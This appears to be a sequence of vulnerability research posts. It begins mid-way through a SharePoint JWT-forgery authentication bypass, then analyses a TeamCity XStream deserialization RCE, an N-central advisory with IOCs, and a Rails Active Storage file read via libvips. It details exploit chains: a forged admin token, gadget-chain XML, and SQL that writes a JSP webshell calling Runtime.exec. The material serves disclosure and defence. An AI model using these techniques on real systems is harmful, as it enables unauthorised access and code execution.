The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.
As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. administrator@domain.local or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.
Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server's STS signing certificate.
The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.
And a signature which is an arbitrary non-empty string:
AAAA
Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.
The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).
To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.
With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.
JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.
Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.
Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.
Analysis
Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.
TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.
XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.
Patch diff
The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:
The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:
// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;
public class XStream {
// ...
protected void setupSecurity() {
if (this.securityMapper == null)
return;
addPermission(NoTypePermission.NONE); // <--- Clears all existing permissions
addPermission(NullPermission.NULL);
addPermission(PrimitiveTypePermission.PRIMITIVES);
addPermission(ArrayTypePermission.ARRAYS);
addPermission(InterfaceTypePermission.INTERFACES);
allowTypeHierarchy(Calendar.class);
allowTypeHierarchy(Collection.class);
allowTypeHierarchy(Map.class); // <--- Map is allowed
allowTypeHierarchy(Map.Entry.class);
allowTypeHierarchy(Member.class);
allowTypeHierarchy(Number.class);
allowTypeHierarchy(Throwable.class); // <--- Throwable is allowed
allowTypeHierarchy(TimeZone.class);
// ...
Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.
The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:
XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.
Root cause
The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.
The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.
Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.
Triggering the vulnerability
First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.
The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
HttpServletRequest request,
HttpServletResponse response,
String[] path) throws Exception {
String sessionId = request.getHeader("TeamCity-AgentSessionId");
BuildAgentEx agent =
sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
// This check occurs before the vulnerable handler is reached.
if (agent == null) {
response.setStatus(401);
response.getWriter().write("Agent's session is not found");
return null;
}
PollingRemoteAgentConnection connection =
(PollingRemoteAgentConnection) agent.getConnection();
if (path.length == 4) {
String operation = path[3];
if (operation.equals("error")) {
getCommandsProcessor().handleCommandIsFailedRequest(
connection, request, response
); // <--- call the error handler
}
}
return null;
}
The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.
Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.
The gadget chain
The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:
The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.
A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().
Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.
The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.
The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.
The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.
Object graph construction
The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.
Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().
The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.
Entry one: construct and configure the datasource
The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.
The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:
XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.
Entry two: expose the datasource through FreeMarker
The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.
The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:
<freemarker.ext.beans.HashAdapter>
<wrapper>
<!-- Class-introspection state from the PoC is omitted here. -->
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<!-- Remaining BeansWrapper state from the PoC is omitted here. -->
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.
Entry three: trigger the property lookup
The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:
The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.
Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.
Triggering gadget execution
A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.
The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().
A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.
The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:
CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'
HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.
Executing a JSP payload
Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:
The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:
We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.
Exploitation
A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.
Figure 2: Proof-of-concept exploitation.
The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.
[2026-08-07 01:53:09,794] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
...
IOC
On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:
[2026-08-07 00:36:36,467] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
...
A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:
07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------] with root cause
org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
at org.hsqldb.error.Error.error(Unknown Source)
...
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.
On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.
N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.
According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.
Mitigation guidance
Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.
Affected versions:
All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.
Fixed version:
N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).
The vendor also recommends:
Upgrading N-central agents after applying the server hotfix.
Reviewing systems for indicators of compromise.
Contacting N-able Support immediately if evidence of compromise is discovered.
Engaging internal incident response teams if malicious activity is identified.
N-able has published several artifacts that administrators should investigate during incident response.
Endpoint Artifacts:
Presence of a Cloudflared service.
A suspicious svchost.exe located within the user's Documents folder.
Network Indicators:
Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:
173[.]249[.]252[.]200
87[.]249[.]138[.]34
37[.]19[.]210[.]32
37[.]153[.]90[.]88
92[.]118[.]112[.]181
68[.]235[.]46[.]214
Organizations should also review:
Authentication logs
Administrative account creation or modification
Take Control session activity
Remote management logs
Windows service installation events
To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.
Updates
August 4, 2026: Initial publication.
August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.
Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.
We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.
The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.
The attack can be summarized as follows:
[Attacker]
|
| 1. Creates a direct-upload blob with content_type = image/png
v
[Rails stores the blob as an image without examining the bytes]
|
| 2. Reuses a genuine variation_key from the same application
v
[Rails accepts the blob as variable and starts a representation]
|
| 3. image_processing hands the local tempfile path to libvips
v
[libvips matload]
|
| 4. Bytes 0-9 match "MATLAB 5.0"
v
[libmatio]
|
| 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
v
[HDF5 external storage]
|
| 6. Dataset bytes come from attacker-chosen path + offset
v
[Rendered PNG representation]
|
--> Target file bytes are returned as image pixels
Analysis
The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.
Direct upload stores an attacker-controlled type
The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
render json: direct_upload_json(blob)
end
private
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
end
At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.
Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:
def variant(transformations)
if variable?
variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
else
raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
end
end
# Returns true if the variant processor can transform the blob (its content
# type is in +ActiveStorage.variable_content_types+).
def variable?
ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
end
At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.
A genuine variation key can be replayed against another blob
The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:
module ActiveStorage::SetBlob # :nodoc:
extend ActiveSupport::Concern
included do
before_action :set_blob
end
private
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
def blob_scope
ActiveStorage::Blob
end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
include ActiveStorage::SetBlob
before_action :set_representation
private
def blob_scope
ActiveStorage::Blob.scope_for_strict_loading
end
def set_representation
@representation = @blob.representation(params[:variation_key]).processed # <-- [6]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
end
# Returns a Variation instance with the transformations that were encoded by +encode+.
def decode(key)
new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
end
At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.
The Vips pipeline leaves decoder selection to libvips
Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:
def process(file, format:)
processor.
source(file).
loader(page: 0). # <-- [8]
convert(format).
apply(operations). # <-- [9]
call
end
def processor
ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
transformations.each_with_object([]) do |(name, argument), list|
if ActiveStorage.variant_processor == :mini_magick
validate_transformation(name, argument) # <-- [10]
end
if name.to_s == "combine_options"
raise ArgumentError, <<~ERROR.squish
Active Storage's ImageProcessing transformer doesn't support :combine_options,
as it always generates a single command.
ERROR
end
if argument.present?
list << [ name, argument ] # <-- [11]
end
end
end
At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.
In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
if path_or_image.is_a?(::Vips::Image)
image = path_or_image
else
path = path_or_image
if loader
image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
else
options = Utils.select_valid_loader_options(path, options)
image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
end
end
image = image.autorot if autorot && !options.key?(:autorotate)
image
end
Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.
libvips and libmatio disagree about the MAT header
In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:
At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.
In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:
At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.
At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.
HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:
Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.
